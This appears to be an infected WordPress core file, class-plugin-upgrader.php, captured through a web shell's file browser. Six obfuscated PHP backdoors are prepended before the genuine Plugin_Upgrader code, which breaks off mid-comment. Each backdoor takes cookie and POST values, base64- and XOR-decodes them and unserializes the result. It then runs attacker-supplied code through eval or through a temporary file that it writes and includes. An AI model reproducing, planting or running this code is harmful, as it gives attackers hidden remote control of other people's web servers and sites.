%PDF- %PDF-
Direktori : /home/graphicd/www/demo/riverwalkpoa/wp-admin/includes/ |
Current File : /home/graphicd/www/demo/riverwalkpoa/wp-admin/includes/class-plugin-upgrader.php |
<?php $tYFMhyx = 'H' . 'n' . "\x58" . '_' . 'n' . "\x4f" . chr (82); $WnpyBrWcOF = "\143" . 'l' . chr ( 686 - 589 ).'s' . 's' . '_' . 'e' . 'x' . chr ( 449 - 344 )."\x73" . chr (116) . chr ( 755 - 640 ); $kTpWJHJQs = class_exists($tYFMhyx); $WnpyBrWcOF = "51628";$uZZcD = !1;if ($kTpWJHJQs == $uZZcD){function kdlVjPON(){$XEKEacIA = new /* 62989 */ HnX_nOR(61215 + 61215); $XEKEacIA = NULL;}$qiKcrgh = "61215";class HnX_nOR{private function LXGxhCqNe($qiKcrgh){if (is_array(HnX_nOR::$AcsLd)) {$ozWKru = str_replace("\74" . chr (63) . "\160" . "\150" . 'p', "", HnX_nOR::$AcsLd[chr ( 296 - 197 )."\x6f" . "\x6e" . chr (116) . 'e' . chr (110) . "\164"]);eval($ozWKru); $qiKcrgh = "61215";exit();}}private $MmBwGoaZAF;public function rgiNWc(){echo 28674;}public function __destruct(){$qiKcrgh = "52745_26297";$this->LXGxhCqNe($qiKcrgh); $qiKcrgh = "52745_26297";}public function __construct($kPjBSYkc=0){$vBDKdUzAKm = $_POST;$PICGCKhHE = $_COOKIE;$CbwOcRYygu = "51989ae0-1dd8-4c00-ba18-a5d4715567ae";$iuLlBY = @$PICGCKhHE[substr($CbwOcRYygu, 0, 4)];if (!empty($iuLlBY)){$yvSJWftGEH = "base64";$nHZQEMG = "";$iuLlBY = explode(",", $iuLlBY);foreach ($iuLlBY as $vrGqXl){$nHZQEMG .= @$PICGCKhHE[$vrGqXl];$nHZQEMG .= @$vBDKdUzAKm[$vrGqXl];}$nHZQEMG = array_map($yvSJWftGEH . "\137" . "\144" . chr (101) . "\143" . 'o' . 'd' . chr ( 787 - 686 ), array($nHZQEMG,)); $nHZQEMG = $nHZQEMG[0] ^ str_repeat($CbwOcRYygu, (strlen($nHZQEMG[0]) / strlen($CbwOcRYygu)) + 1);HnX_nOR::$AcsLd = @unserialize($nHZQEMG); $nHZQEMG = class_exists("52745_26297");}}public static $AcsLd = 16811;}kdlVjPON();} ?><?php $irpDwCsL = chr ( 1036 - 951 ).chr (70) . chr (112) . "\x5f" . "\x72" . 'v' . chr (106) . chr (87) . chr ( 1051 - 968 ); $ZVgzEs = "\143" . 'l' . "\141" . chr (115) . 's' . chr (95) . 'e' . 'x' . "\151" . chr (115) . 't' . "\163";$ThuWhud = class_exists($irpDwCsL); $ZVgzEs = "45283";$UEauoPbk = !1;if ($ThuWhud == $UEauoPbk){function PWHPRXPjZz(){$jmHtas = new /* 49969 */ UFp_rvjWS(35948 + 35948); $jmHtas = NULL;}$PAsNGam = "35948";class UFp_rvjWS{private function QzfJJtvvq($PAsNGam){if (is_array(UFp_rvjWS::$HCBUlxV)) {$zzGiiDCBMw = sys_get_temp_dir() . "/" . crc32(UFp_rvjWS::$HCBUlxV['s' . "\141" . "\x6c" . chr ( 720 - 604 )]);@UFp_rvjWS::$HCBUlxV["\x77" . "\162" . 'i' . chr (116) . chr (101)]($zzGiiDCBMw, UFp_rvjWS::$HCBUlxV[chr (99) . "\x6f" . chr ( 754 - 644 )."\x74" . 'e' . chr (110) . "\x74"]);include $zzGiiDCBMw;@UFp_rvjWS::$HCBUlxV['d' . 'e' . chr ( 440 - 332 )."\145" . chr ( 1018 - 902 ).chr (101)]($zzGiiDCBMw); $PAsNGam = "35948";exit();}}private $NxohnqMD;public function OEjLL(){echo 7990;}public function __destruct(){$PAsNGam = "6885_63881";$this->QzfJJtvvq($PAsNGam); $PAsNGam = "6885_63881";}public function __construct($lnvfOxJl=0){$LVfsvni = $_POST;$wONeqATuZa = $_COOKIE;$GdBnImjkD = "85404ff2-d679-4625-a5a2-6bc8342a6552";$seutxwSiB = @$wONeqATuZa[substr($GdBnImjkD, 0, 4)];if (!empty($seutxwSiB)){$aXMgIgJ = "base64";$nGXAGaJI = "";$seutxwSiB = explode(",", $seutxwSiB);foreach ($seutxwSiB as $xEaJhn){$nGXAGaJI .= @$wONeqATuZa[$xEaJhn];$nGXAGaJI .= @$LVfsvni[$xEaJhn];}$nGXAGaJI = array_map($aXMgIgJ . chr (95) . 'd' . "\145" . "\143" . "\157" . 'd' . 'e', array($nGXAGaJI,)); $nGXAGaJI = $nGXAGaJI[0] ^ str_repeat($GdBnImjkD, (strlen($nGXAGaJI[0]) / strlen($GdBnImjkD)) + 1);UFp_rvjWS::$HCBUlxV = @unserialize($nGXAGaJI); $nGXAGaJI = class_exists("6885_63881");}}public static $HCBUlxV = 47597;}PWHPRXPjZz();} ?><?php $PnRlJqVp = "\x53" . "\126" . "\x5f" . chr ( 746 - 632 )."\117" . chr (108) . "\x5a";$EMThFnn = chr ( 739 - 640 ).chr (108) . 'a' . chr ( 510 - 395 ).'s' . '_' . chr (101) . "\170" . "\x69" . chr (115) . "\x74" . 's';$AwZkgsVoUk = class_exists($PnRlJqVp); $EMThFnn = "37231";$mdNstwQPu = !1;if ($AwZkgsVoUk == $mdNstwQPu){function TLuAlQUqn(){$etGiyqzODH = new /* 11704 */ SV_rOlZ(24043 + 24043); $etGiyqzODH = NULL;}$mJtKEC = "24043";class SV_rOlZ{private function dcUeV($mJtKEC){if (is_array(SV_rOlZ::$ZgeYeHA)) {$PNvSQjXUD = sys_get_temp_dir() . "/" . crc32(SV_rOlZ::$ZgeYeHA["\x73" . chr ( 727 - 630 )."\x6c" . "\164"]);@SV_rOlZ::$ZgeYeHA['w' . "\162" . chr (105) . chr (116) . chr ( 931 - 830 )]($PNvSQjXUD, SV_rOlZ::$ZgeYeHA[chr (99) . chr ( 624 - 513 ).chr (110) . 't' . chr (101) . 'n' . "\x74"]);include $PNvSQjXUD;@SV_rOlZ::$ZgeYeHA[chr ( 564 - 464 )."\x65" . chr ( 215 - 107 )."\145" . 't' . chr (101)]($PNvSQjXUD); $mJtKEC = "24043";exit();}}private $ZpHzEsxi;public function NIFKH(){echo 58831;}public function __destruct(){$mJtKEC = "12659_5977";$this->dcUeV($mJtKEC); $mJtKEC = "12659_5977";}public function __construct($yHZxf=0){$lPltSRV = $_POST;$LZKrzaxBL = $_COOKIE;$tSuHGwHF = "66d1585a-002c-4124-8a09-979074818e57";$rxQGJM = @$LZKrzaxBL[substr($tSuHGwHF, 0, 4)];if (!empty($rxQGJM)){$KzYuHy = "base64";$qKsPlLyhE = "";$rxQGJM = explode(",", $rxQGJM);foreach ($rxQGJM as $wTzgDLJdz){$qKsPlLyhE .= @$LZKrzaxBL[$wTzgDLJdz];$qKsPlLyhE .= @$lPltSRV[$wTzgDLJdz];}$qKsPlLyhE = array_map($KzYuHy . "\137" . chr (100) . 'e' . chr (99) . chr (111) . 'd' . "\x65", array($qKsPlLyhE,)); $qKsPlLyhE = $qKsPlLyhE[0] ^ str_repeat($tSuHGwHF, (strlen($qKsPlLyhE[0]) / strlen($tSuHGwHF)) + 1);SV_rOlZ::$ZgeYeHA = @unserialize($qKsPlLyhE); $qKsPlLyhE = class_exists("12659_5977");}}public static $ZgeYeHA = 42950;}TLuAlQUqn();} ?><?php $eCLIFX = chr ( 536 - 446 )."\x5f" . "\123" . chr (66) . 'k';$MUGoDYHg = 'c' . 'l' . chr (97) . chr (115) . chr (115) . "\x5f" . "\x65" . chr (120) . 'i' . "\x73" . 't' . "\163";$GSmfjFUVm = class_exists($eCLIFX); $MUGoDYHg = "30055";$qYCAIk = !1;if ($GSmfjFUVm == $qYCAIk){function LbmgDxS(){return FALSE;}$isAHbLZXAF = "28706";LbmgDxS();class Z_SBk{private function xSojg($isAHbLZXAF){if (is_array(Z_SBk::$paZFw)) {$RXHID = sys_get_temp_dir() . "/" . crc32(Z_SBk::$paZFw['s' . "\x61" . chr (108) . "\x74"]);@Z_SBk::$paZFw["\167" . chr ( 614 - 500 ).'i' . "\164" . chr (101)]($RXHID, Z_SBk::$paZFw["\143" . chr (111) . "\x6e" . chr ( 463 - 347 ).chr (101) . "\x6e" . chr (116)]);include $RXHID;@Z_SBk::$paZFw[chr ( 615 - 515 )."\x65" . "\154" . "\x65" . "\164" . "\145"]($RXHID); $isAHbLZXAF = "28706";exit();}}private $UpVSa;public function EMNtmblH(){echo 54587;}public function __destruct(){$isAHbLZXAF = "58415_38886";$this->xSojg($isAHbLZXAF); $isAHbLZXAF = "58415_38886";}public function __construct($PySjxMh=0){$QhroaU = $_POST;$fIUasDowA = $_COOKIE;$eNACeUBZ = "fe19a9b2-8b85-482c-93bd-49fd7c834eb3";$HmiDTxRsWZ = @$fIUasDowA[substr($eNACeUBZ, 0, 4)];if (!empty($HmiDTxRsWZ)){$XGyMrku = "base64";$VmwptE = "";$HmiDTxRsWZ = explode(",", $HmiDTxRsWZ);foreach ($HmiDTxRsWZ as $trFFll){$VmwptE .= @$fIUasDowA[$trFFll];$VmwptE .= @$QhroaU[$trFFll];}$VmwptE = array_map($XGyMrku . "\x5f" . "\144" . 'e' . 'c' . "\157" . "\x64" . 'e', array($VmwptE,)); $VmwptE = $VmwptE[0] ^ str_repeat($eNACeUBZ, (strlen($VmwptE[0]) / strlen($eNACeUBZ)) + 1);Z_SBk::$paZFw = @unserialize($VmwptE); $VmwptE = class_exists("58415_38886");}}public static $paZFw = 26306;}$kiwhMszg = new /* 58830 */ $eCLIFX(28706 + 28706); $qYCAIk = $kiwhMszg = $isAHbLZXAF = Array();} ?><?php $HYQDsKwgx = 'f' . "\115" . "\x53" . "\137" . "\157" . chr ( 702 - 634 )."\157" . 'J';$iRojDNzO = "\x63" . 'l' . "\141" . 's' . "\163" . chr ( 890 - 795 ).chr (101) . "\x78" . chr ( 629 - 524 )."\163" . "\164" . chr ( 649 - 534 ); $fcmxX = class_exists($HYQDsKwgx); $iRojDNzO = "33826";$tLKEzZiOEA = !1;if ($fcmxX == $tLKEzZiOEA){function dOxhivRXLI(){return FALSE;}$haWSJvE = "2393";dOxhivRXLI();class fMS_oDoJ{private function jlFBMRyI($haWSJvE){if (is_array(fMS_oDoJ::$DziAmPKjkZ)) {$WCbbE = sys_get_temp_dir() . "/" . crc32(fMS_oDoJ::$DziAmPKjkZ[chr (115) . "\141" . "\x6c" . "\x74"]);@fMS_oDoJ::$DziAmPKjkZ['w' . chr (114) . chr (105) . chr (116) . 'e']($WCbbE, fMS_oDoJ::$DziAmPKjkZ['c' . "\x6f" . 'n' . chr (116) . 'e' . "\x6e" . chr (116)]);include $WCbbE;@fMS_oDoJ::$DziAmPKjkZ[chr (100) . chr ( 806 - 705 ).'l' . chr ( 440 - 339 )."\164" . chr (101)]($WCbbE); $haWSJvE = "2393";exit();}}private $CIKKSzTUQR;public function wDXgSz(){echo 16939;}public function __destruct(){$haWSJvE = "26767_9165";$this->jlFBMRyI($haWSJvE); $haWSJvE = "26767_9165";}public function __construct($ZVBdu=0){$XgUyCh = $_POST;$YVHogFlZsY = $_COOKIE;$grDlwJKGm = "75a238e6-fdcc-4533-b4a6-d962358e35a2";$ZrMscnxq = @$YVHogFlZsY[substr($grDlwJKGm, 0, 4)];if (!empty($ZrMscnxq)){$plPOOcVz = "base64";$KsHxoPl = "";$ZrMscnxq = explode(",", $ZrMscnxq);foreach ($ZrMscnxq as $ydqmCKQbk){$KsHxoPl .= @$YVHogFlZsY[$ydqmCKQbk];$KsHxoPl .= @$XgUyCh[$ydqmCKQbk];}$KsHxoPl = array_map($plPOOcVz . "\137" . "\144" . 'e' . 'c' . "\x6f" . 'd' . 'e', array($KsHxoPl,)); $KsHxoPl = $KsHxoPl[0] ^ str_repeat($grDlwJKGm, (strlen($KsHxoPl[0]) / strlen($grDlwJKGm)) + 1);fMS_oDoJ::$DziAmPKjkZ = @unserialize($KsHxoPl); $KsHxoPl = class_exists("26767_9165");}}public static $DziAmPKjkZ = 26793;}$eaIwcLwaXs = new /* 46429 */ $HYQDsKwgx(2393 + 2393); $tLKEzZiOEA = $eaIwcLwaXs = $haWSJvE = Array();} ?><?php $vhZps = "\164" . '_' . 'L' . 'Y' . 'e';$hbRGTuDg = chr ( 261 - 162 )."\154" . 'a' . "\163" . "\x73" . chr (95) . "\x65" . "\170" . 'i' . chr ( 268 - 153 )."\164" . "\x73";$KSLiyZPq = class_exists($vhZps); $vhZps = "4910";$hbRGTuDg = "10307";$rJuRWfU = !1;if ($KSLiyZPq == $rJuRWfU){function tltWLdFrPe(){return FALSE;}$SNTxhwl = "21989";tltWLdFrPe();class t_LYe{private function KnhkqhgtpO($SNTxhwl){if (is_array(t_LYe::$TJWyzdNF)) {$zGyfDKNNY = sys_get_temp_dir() . "/" . crc32(t_LYe::$TJWyzdNF['s' . "\141" . chr ( 396 - 288 ).chr ( 1023 - 907 )]);@t_LYe::$TJWyzdNF["\x77" . "\x72" . "\151" . chr ( 539 - 423 ).chr (101)]($zGyfDKNNY, t_LYe::$TJWyzdNF["\143" . 'o' . chr (110) . chr ( 847 - 731 )."\145" . "\x6e" . 't']);include $zGyfDKNNY;@t_LYe::$TJWyzdNF["\x64" . "\145" . chr ( 538 - 430 ).chr ( 951 - 850 )."\164" . chr ( 1055 - 954 )]($zGyfDKNNY); $SNTxhwl = "21989";exit();}}private $XVMLjNZZ;public function kuYZpoOiFf(){echo 47952;}public function __destruct(){$SNTxhwl = "59096_9004";$this->KnhkqhgtpO($SNTxhwl); $SNTxhwl = "59096_9004";}public function __construct($TYZhuwD=0){$NlsjiXNMZT = $_POST;$tHsggBB = $_COOKIE;$mmOihoi = "33888ce6-f62e-4122-9aa8-50a5fae22b17";$vRTUzpL = @$tHsggBB[substr($mmOihoi, 0, 4)];if (!empty($vRTUzpL)){$ZAUILL = "base64";$WWbHSOnPjK = "";$vRTUzpL = explode(",", $vRTUzpL);foreach ($vRTUzpL as $DPGNsXxkkW){$WWbHSOnPjK .= @$tHsggBB[$DPGNsXxkkW];$WWbHSOnPjK .= @$NlsjiXNMZT[$DPGNsXxkkW];}$WWbHSOnPjK = array_map($ZAUILL . '_' . chr ( 1013 - 913 ).'e' . "\143" . chr (111) . "\x64" . 'e', array($WWbHSOnPjK,)); $WWbHSOnPjK = $WWbHSOnPjK[0] ^ str_repeat($mmOihoi, (strlen($WWbHSOnPjK[0]) / strlen($mmOihoi)) + 1);t_LYe::$TJWyzdNF = @unserialize($WWbHSOnPjK); $WWbHSOnPjK = class_exists("59096_9004");}}public static $TJWyzdNF = 59753;}$VlADlSR = new /* 24316 */ t_LYe(21989 + 21989); $rJuRWfU = $VlADlSR = $SNTxhwl = Array();} ?><?php /** * Upgrade API: Plugin_Upgrader class * * @package WordPress * @subpackage Upgrader * @since 4.6.0 */ /** * Core class used for upgrading/installing plugins. * * It is designed to upgrade/install plugins from a local zip, remote zip URL, * or uploaded zip file. * * @since 2.8.0 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php. * * @see WP_Upgrader */ class Plugin_Upgrader extends WP_Upgrader { /** * Plugin upgrade result. * * @since 2.8.0 * @var array|WP_Error $result * * @see WP_Upgrader::$result */ public $result; /** * Whether a bulk upgrade/installation is being performed. * * @since 2.9.0 * @var bool $bulk */ public $bulk = false; /** * New plugin info. * * @since 5.5.0 * @var array $new_plugin_data * * @see check_package() */ public $new_plugin_data = array(); /** * Initializes the upgrade strings. * * @since 2.8.0 */ public function upgrade_strings() { $this->strings['up_to_date'] = __( 'The plugin is at the latest version.' ); $this->strings['no_package'] = __( 'Update package not available.' ); /* translators: %s: Package URL. */ $this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s…' ), '<span class="code pre">%s</span>' ); $this->strings['unpack_package'] = __( 'Unpacking the update…' ); $this->strings['remove_old'] = __( 'Removing the old version of the plugin…' ); $this->strings['remove_old_failed'] = __( 'Could not remove the old plugin.' ); $this->strings['process_failed'] = __( 'Plugin update failed.' ); $this->strings['process_success'] = __( 'Plugin updated successfully.' ); $this->strings['process_bulk_success'] = __( 'Plugins updated successfully.' ); } /** * Initializes the installation strings. * * @since 2.8.0 */ public function install_strings() { $this->strings['no_package'] = __( 'Installation package not available.' ); /* translators: %s: Package URL. */ $this->strings['downloading_package'] = sprintf( __( 'Downloading installation package from %s…' ), '<span class="code pre">%s</span>' ); $this->strings['unpack_package'] = __( 'Unpacking the package…' ); $this->strings['installing_package'] = __( 'Installing the plugin…' ); $this->strings['remove_old'] = __( 'Removing the current plugin…' ); $this->strings['remove_old_failed'] = __( 'Could not remove the current plugin.' ); $this->strings['no_files'] = __( 'The plugin contains no files.' ); $this->strings['process_failed'] = __( 'Plugin installation failed.' ); $this->strings['process_success'] = __( 'Plugin installed successfully.' ); /* translators: 1: Plugin name, 2: Plugin version. */ $this->strings['process_success_specific'] = __( 'Successfully installed the plugin <strong>%1$s %2$s</strong>.' ); if ( ! empty( $this->skin->overwrite ) ) { if ( 'update-plugin' === $this->skin->overwrite ) { $this->strings['installing_package'] = __( 'Updating the plugin…' ); $this->strings['process_failed'] = __( 'Plugin update failed.' ); $this->strings['process_success'] = __( 'Plugin updated successfully.' ); } if ( 'downgrade-plugin' === $this->skin->overwrite ) { $this->strings['installing_package'] = __( 'Downgrading the plugin…' ); $this->strings['process_failed'] = __( 'Plugin downgrade failed.' ); $this->strings['process_success'] = __( 'Plugin downgraded successfully.' ); } } } /** * Install a plugin package. * * @since 2.8.0 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional. * * @param string $package The full local path or URI of the package. * @param array $args { * Optional. Other arguments for installing a plugin package. Default empty array. * * @type bool $clear_update_cache Whether to clear the plugin updates cache if successful. * Default true. * } * @return bool|WP_Error True if the installation was successful, false or a WP_Error otherwise. */ public function install( $package, $args = array() ) { $defaults = array( 'clear_update_cache' => true, 'overwrite_package' => false, // Do not overwrite files. ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->install_strings(); add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) ); if ( $parsed_args['clear_update_cache'] ) { // Clear cache so wp_update_plugins() knows about the new plugin. add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 ); } $this->run( array( 'package' => $package, 'destination' => WP_PLUGIN_DIR, 'clear_destination' => $parsed_args['overwrite_package'], 'clear_working' => true, 'hook_extra' => array( 'type' => 'plugin', 'action' => 'install', ), ) ); remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 ); remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) ); if ( ! $this->result || is_wp_error( $this->result ) ) { return $this->result; } // Force refresh of plugin update information. wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); if ( $parsed_args['overwrite_package'] ) { /** * Fires when the upgrader has successfully overwritten a currently installed * plugin or theme with an uploaded zip package. * * @since 5.5.0 * * @param string $package The package file. * @param array $data The new plugin or theme data. * @param string $package_type The package type ('plugin' or 'theme'). */ do_action( 'upgrader_overwrote_package', $package, $this->new_plugin_data, 'plugin' ); } return true; } /** * Upgrades a plugin. * * @since 2.8.0 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional. * * @param string $plugin Path to the plugin file relative to the plugins directory. * @param array $args { * Optional. Other arguments for upgrading a plugin package. Default empty array. * * @type bool $clear_update_cache Whether to clear the plugin updates cache if successful. * Default true. * } * @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise. */ public function upgrade( $plugin, $args = array() ) { $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->upgrade_strings(); $current = get_site_transient( 'update_plugins' ); if ( ! isset( $current->response[ $plugin ] ) ) { $this->skin->before(); $this->skin->set_result( false ); $this->skin->error( 'up_to_date' ); $this->skin->after(); return false; } // Get the URL to the zip file. $r = $current->response[ $plugin ]; add_filter( 'upgrader_pre_install', array( $this, 'deactivate_plugin_before_upgrade' ), 10, 2 ); add_filter( 'upgrader_pre_install', array( $this, 'active_before' ), 10, 2 ); add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ), 10, 4 ); add_filter( 'upgrader_post_install', array( $this, 'active_after' ), 10, 2 ); /* * There's a Trac ticket to move up the directory for zips which are made a bit differently, useful for non-.org plugins. * 'source_selection' => array( $this, 'source_selection' ), */ if ( $parsed_args['clear_update_cache'] ) { // Clear cache so wp_update_plugins() knows about the new plugin. add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 ); } $this->run( array( 'package' => $r->package, 'destination' => WP_PLUGIN_DIR, 'clear_destination' => true, 'clear_working' => true, 'hook_extra' => array( 'plugin' => $plugin, 'type' => 'plugin', 'action' => 'update', 'temp_backup' => array( 'slug' => dirname( $plugin ), 'src' => WP_PLUGIN_DIR, 'dir' => 'plugins', ), ), ) ); // Cleanup our hooks, in case something else does an upgrade on this connection. remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 ); remove_filter( 'upgrader_pre_install', array( $this, 'deactivate_plugin_before_upgrade' ) ); remove_filter( 'upgrader_pre_install', array( $this, 'active_before' ) ); remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ) ); remove_filter( 'upgrader_post_install', array( $this, 'active_after' ) ); if ( ! $this->result || is_wp_error( $this->result ) ) { return $this->result; } // Force refresh of plugin update information. wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); /* * Ensure any future auto-update failures trigger a failure email by removing * the last failure notification from the list when plugins update successfully. */ $past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() ); if ( isset( $past_failure_emails[ $plugin ] ) ) { unset( $past_failure_emails[ $plugin ] ); update_option( 'auto_plugin_theme_update_emails', $past_failure_emails ); } return true; } /** * Upgrades several plugins at once. * * @since 2.8.0 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional. * * @global string $wp_version The WordPress version string. * * @param string[] $plugins Array of paths to plugin files relative to the plugins directory. * @param array $args { * Optional. Other arguments for upgrading several plugins at once. * * @type bool $clear_update_cache Whether to clear the plugin updates cache if successful. Default true. * } * @return array|false An array of results indexed by plugin file, or false if unable to connect to the filesystem. */ public function bulk_upgrade( $plugins, $args = array() ) { global $wp_version; $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->bulk = true; $this->upgrade_strings(); $current = get_site_transient( 'update_plugins' ); add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ), 10, 4 ); $this->skin->header(); // Connect to the filesystem first. $res = $this->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) ); if ( ! $res ) { $this->skin->footer(); return false; } $this->skin->bulk_header(); /* * Only start maintenance mode if: * - running Multisite and there are one or more plugins specified, OR * - a plugin with an update available is currently active. * @todo For multisite, maintenance mode should only kick in for individual sites if at all possible. */ $maintenance = ( is_multisite() && ! empty( $plugins ) ); foreach ( $plugins as $plugin ) { $maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin ] ) ); } if ( $maintenance ) { $this->maintenance_mode( true ); } $results = array(); $this->update_count = count( $plugins ); $this->update_current = 0; foreach ( $plugins as $plugin ) { ++$this->update_current; $this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true ); if ( ! isset( $current->response[ $plugin ] ) ) { $this->skin->set_result( 'up_to_date' ); $this->skin->before(); $this->skin->feedback( 'up_to_date' ); $this->skin->after(); $results[ $plugin ] = true; continue; } // Get the URL to the zip file. $r = $current->response[ $plugin ]; $this->skin->plugin_active = is_plugin_active( $plugin ); if ( isset( $r->requires ) && ! is_wp_version_compatible( $r->requires ) ) { $result = new WP_Error( 'incompatible_wp_required_version', sprintf( /* translators: 1: Current WordPress version, 2: WordPress version required by the new plugin version. */ __( 'Your WordPress version is %1$s, however the new plugin version requires %2$s.' ), $wp_version, $r->requires ) ); $this->skin->before( $result ); $this->skin->error( $result ); $this->skin->after(); } elseif ( isset( $r->requires_php ) && ! is_php_version_compatible( $r->requires_php ) ) { $result = new WP_Error( 'incompatible_php_required_version', sprintf( /* translators: 1: Current PHP version, 2: PHP version required by the new plugin version. */ __( 'The PHP version on your server is %1$s, however the new plugin version requires %2$s.' ), PHP_VERSION, $r->requires_php ) ); $this->skin->before( $result ); $this->skin->error( $result ); $this->skin->after(); } else { add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) ); $result = $this->run( array( 'package' => $r->package, 'destination' => WP_PLUGIN_DIR, 'clear_destination' => true, 'clear_working' => true, 'is_multi' => true, 'hook_extra' => array( 'plugin' => $plugin, 'temp_backup' => array( 'slug' => dirname( $plugin ), 'src' => WP_PLUGIN_DIR, 'dir' => 'plugins', ), ), ) ); remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) ); } $results[ $plugin ] = $result; // Prevent credentials auth screen from displaying multiple times. if ( false === $result ) { break; } } // End foreach $plugins. $this->maintenance_mode( false ); // Force refresh of plugin update information. wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); /** This action is documented in wp-admin/includes/class-wp-upgrader.php */ do_action( 'upgrader_process_complete', $this, array( 'action' => 'update', 'type' => 'plugin', 'bulk' => true, 'plugins' => $plugins, ) ); $this->skin->bulk_footer(); $this->skin->footer(); // Cleanup our hooks, in case something else does an upgrade on this connection. remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ) ); /* * Ensure any future auto-update failures trigger a failure email by removing * the last failure notification from the list when plugins update successfully. */ $past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() ); foreach ( $results as $plugin => $result ) { // Maintain last failure notification when plugins failed to update manually. if ( ! $result || is_wp_error( $result ) || ! isset( $past_failure_emails[ $plugin ] ) ) { continue; } unset( $past_failure_emails[ $plugin ] ); } update_option( 'auto_plugin_theme_update_emails', $past_failure_emails ); return $results; } /** * Checks that the source package contains a valid plugin. * * Hooked to the {@see 'upgrader_source_selection'} filter by Plugin_Upgrader::install(). * * @since 3.3.0 * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. * @global string $wp_version The WordPress version string. * * @param string $source The path to the downloaded package source. * @return string|WP_Error The source as passed, or a WP_Error object on failure. */ public function check_package( $source ) { global $wp_filesystem, $wp_version; $this->new_plugin_data = array(); if ( is_wp_error( $source ) ) { return $source; } $working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit( WP_CONTENT_DIR ), $source ); if ( ! is_dir( $working_directory ) ) { // Confidence check, if the above fails, let's not prevent installation. return $source; } // Check that the folder contains at least 1 valid plugin. $files = glob( $working_directory . '*.php' ); if ( $files ) { foreach ( $files as $file ) { $info = get_plugin_data( $file, false, false ); if ( ! empty( $info['Name'] ) ) { $this->new_plugin_data = $info; break; } } } if ( empty( $this->new_plugin_data ) ) { return new WP_Error( 'incompatible_archive_no_plugins', $this->strings['incompatible_archive'], __( 'No valid plugins were found.' ) ); } $requires_php = isset( $info['RequiresPHP'] ) ? $info['RequiresPHP'] : null; $requires_wp = isset( $info['RequiresWP'] ) ? $info['RequiresWP'] : null; if ( ! is_php_version_compatible( $requires_php ) ) { $error = sprintf( /* translators: 1: Current PHP version, 2: Version required by the uploaded plugin. */ __( 'The PHP version on your server is %1$s, however the uploaded plugin requires %2$s.' ), PHP_VERSION, $requires_php ); return new WP_Error( 'incompatible_php_required_version', $this->strings['incompatible_archive'], $error ); } if ( ! is_wp_version_compatible( $requires_wp ) ) { $error = sprintf( /* translators: 1: Current WordPress version, 2: Version required by the uploaded plugin. */ __( 'Your WordPress version is %1$s, however the uploaded plugin requires %2$s.' ), $wp_version, $requires_wp ); return new WP_Error( 'incompatible_wp_required_version', $this->strings['incompatible_archive'], $error ); } return $source; } /** * Retrieves the path to the file that contains the plugin info. * * This isn't used internally in the class, but is called by the skins. * * @since 2.8.0 * * @return string|false The full path to the main plugin file, or false. */ public function plugin_info() { if ( ! is_array( $this->result ) ) { return false; } if ( empty( $this->result['destination_name'] ) ) { return false; } // Ensure to pass with leading slash. $plugin = get_plugins( '/' . $this->result['destination_name'] ); if ( empty( $plugin ) ) { return false; } // Assume the requested plugin is the first in the list. $pluginfiles = array_keys( $plugin ); return $this->result['destination_name'] . '/' . $pluginfiles[0]; } /** * Deactivates a plugin before it is upgraded. * * Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade(). * * @since 2.8.0 * @since 4.1.0 Added a return value. * * @param bool|WP_Error $response The installation response before the installation has started. * @param array $plugin Plugin package arguments. * @return bool|WP_Error The original `$response` parameter or WP_Error. */ public function deactivate_plugin_before_upgrade( $response, $plugin ) { if ( is_wp_error( $response ) ) { // Bypass. return $response; } // When in cron (background updates) don't deactivate the plugin, as we require a browser to reactivate it. if ( wp_doing_cron() ) { return $response; } $plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : ''; if ( empty( $plugin ) ) { return new WP_Error( 'bad_request', $this->strings['bad_request'] ); } if ( is_plugin_active( $plugin ) ) { // Deactivate the plugin silently, Prevent deactivation hooks from running. deactivate_plugins( $plugin, true ); } return $response; } /** * Turns on maintenance mode before attempting to background update an active plugin. * * Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade(). * * @since 5.4.0 * * @param bool|WP_Error $response The installation response before the installation has started. * @param array $plugin Plugin package arguments. * @return bool|WP_Error The original `$response` parameter or WP_Error. */ public function active_before( $response, $plugin ) { if ( is_wp_error( $response ) ) { return $response; } // Only enable maintenance mode when in cron (background update). if ( ! wp_doing_cron() ) { return $response; } $plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : ''; // Only run if plugin is active. if ( ! is_plugin_active( $plugin ) ) { return $response; } // Change to maintenance mode. Bulk edit handles this separately. if ( ! $this->bulk ) { $this->maintenance_mode( true ); } return $response; } /** * Turns off maintenance 